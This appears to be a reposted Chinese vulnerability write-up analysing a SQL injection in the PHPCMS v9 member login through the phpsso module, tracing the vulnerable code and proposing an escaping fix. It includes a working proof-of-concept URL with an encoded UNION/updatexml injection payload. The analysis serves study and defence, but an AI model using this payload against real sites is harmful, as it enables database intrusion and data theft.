PHPCMS \phpcms\modules\member\index.php 使用者登陸SQL注入漏洞分析

來源:互聯網
上載者:User

標籤:

catalog

1. 漏洞描述2. 漏洞觸發條件3. 漏洞影響範圍4. 漏洞程式碼分析5. 防禦方法6. 攻防思考

 

1. 漏洞描述
2. 漏洞觸發條件

0x1: POC

http://localhost/phpcms_v9/index.php?m=member&c=index&a=logindosubmit=1&username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2527%252c%2527test%255c%2527%252cupdatexml(1%252cconcat(0x5e24%252c(select%2buser())%252c0x5e24)%252c1)%252c%255c%2527123456%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%25272%255c%2527%252c%255c%252710%255c%2527)%252c(%255c%25272%255c%2527%252c%255c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%2523//驗證時可以手工填寫驗證碼、或者把代碼中的驗證碼驗證邏輯臨時注釋掉

將"&username="進行url編碼後作為password的值用於在phpsso中覆蓋之前的username值,在"&username="後面添加進行兩次url編碼的SQL語句


3. 漏洞影響範圍
4. 漏洞程式碼分析

\phpsso_server\phpcms\modules\phpsso\classes\phpsso.class.php

if(isset($_POST[‘data‘]))         {            /*            將getapplist()結果賦值給$_POST[‘data‘],在auth_key解碼之後使用parse_str解析成數組格式            這段代碼如果在php5.3之前的情況下是沒有問題的,因為預設情況下parse_str會啟動gpc機制對特殊字元進行轉義            但是在php5.3之後gpc機制預設就關閉掉了,這就導致如果解析出來的內容如果帶有單引號這類個特殊字元,就原封不動的放到的變數中,這導致了注入的風險            */            parse_str(sys_auth($_POST[‘data‘], ‘DECODE‘, $this->applist[$this->appid][‘authkey‘]), $this->data);                                if(empty($this->data) || !is_array($this->data)) {                exit(‘0‘);            }        }         else         {            exit(‘0‘);        }

繼續跟進login行為的代碼
\phpsso_server\phpcms\modules\phpsso\index.php

public function login()     {        //$this->data的內容沒有經過任何處理就直接參數到資料庫查詢當中,如果我們有auth_key的話,完全可以構造帶有惡意的內容提交造成SQL注入漏洞        $this->password = isset($this->data[‘password‘]) ? $this->data[‘password‘] : ‘‘;        $this->email = isset($this->data[‘email‘]) ? $this->data[‘email‘] : ‘‘;        if($this->email) {            $userinfo = $this->db->get_one(array(‘email‘=>$this->email));        } else {            $userinfo = $this->db->get_one(array(‘username‘=>$this->username));        }

要直接利用login邏輯進行SQL注入,需要駭客有auth_key,phpcms auth_key泄漏的漏洞相關知識,請參閱另一篇文章

http://www.cnblogs.com/LittleHann/p/4624198.html

我們繼續討論駭客沒有auth_key的情況,我們繼續分析
\phpcms\modules\member\index.php
中的login方法

//username使用的is_username進行了過濾而password沒有做任何處理            $username = isset($_POST[‘username‘]) && is_username($_POST[‘username‘]) ? trim($_POST[‘username‘]) : showmessage(L(‘username_empty‘), HTTP_REFERER);            $password = isset($_POST[‘password‘]) && trim($_POST[‘password‘]) ? trim($_POST[‘password‘]) : showmessage(L(‘password_empty‘), HTTP_REFERER);            $cookietime = intval($_POST[‘cookietime‘]);            $synloginstr = ‘‘; //同步登陸js代碼                        if(pc_base::load_config(‘system‘, ‘phpsso‘))             {                $this->_init_phpsso();                //通過client的ps_member_login方法傳入$username、$password擷取一段資料                $status = $this->client->ps_member_login($username, $password);                $memberinfo = unserialize($status);

繼續跟進ps_member_login
\phpcms\modules\member\classes\client.class.php

    public function ps_member_login($username, $password, $isemail=0)     {        if($isemail) {            if(!$this->_is_email($username)) {                return -3;            }            $return = $this->_ps_send(‘login‘, array(‘email‘=>$username, ‘password‘=>$password));        } else {            $return = $this->_ps_send(‘login‘, array(‘username‘=>$username, ‘password‘=>$password));        }        return $return;    }    /**     * 發送資料     * @param $action 操作     * @param $data 資料     */    private function _ps_send($action, $data = null)     {        //_ps_post這個方法向phpsso機制的請求login行為,即member的認證本質是通過phpsso來完成的,同時而phpsso的認證資料是需要auth_key編碼的         return $this->_ps_post($this->ps_api_url."/index.php?m=phpsso&c=index&a=".$action, 500000, $this->auth_data($data));    }

攻擊向量

1. 登入使用者提交使用者名稱和密碼給menber的login2. 然後member的login通過ps_member_login構造發送phpsso請求login驗證的http包,並且將使用者名稱和密碼使用auth_key進行編碼,作為http包的post資料3. phpsso認證完成後,將使用者的資訊返回給member的login進行後續處理 4. 在整個認證過程中,password沒有做任何處理就直接傳入phpsso,phpsso沒有對於解碼資料進行過濾,造成phpsso SQL注入問題


5. 防禦方法

針對phpsso模組添加過濾代碼,最好的方式應該是將轉義和過濾放在資料庫操作的前一步,這樣可以極有效緩解SQL注入帶來的問題
\phpcms\modules\member\index.php

$username = isset($_POST[‘username‘]) && is_username($_POST[‘username‘]) ? trim($_POST[‘username‘]) : showmessage(L(‘username_empty‘), HTTP_REFERER);//$password = isset($_POST[‘password‘]) && trim($_POST[‘password‘]) ? trim($_POST[‘password‘]) : showmessage(L(‘password_empty‘), HTTP_REFERER);/* 過濾、轉義 */$password = isset($_POST[‘password‘]) && trim($_POST[‘password‘]) ? addslashes(urldecode(trim($_POST[‘password‘]))) : showmessage(L(‘password_empty‘), HTTP_REFERER);/**/

Relevant Link:

http://www.tang3.org/blog/2015/07/21/PHPCMS使用者登陸SQL注入漏洞分析/


6. 攻防思考

Copyright (c) 2015 Little5ann All rights reserved

 

PHPCMS \phpcms\modules\member\index.php 使用者登陸SQL注入漏洞分析

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.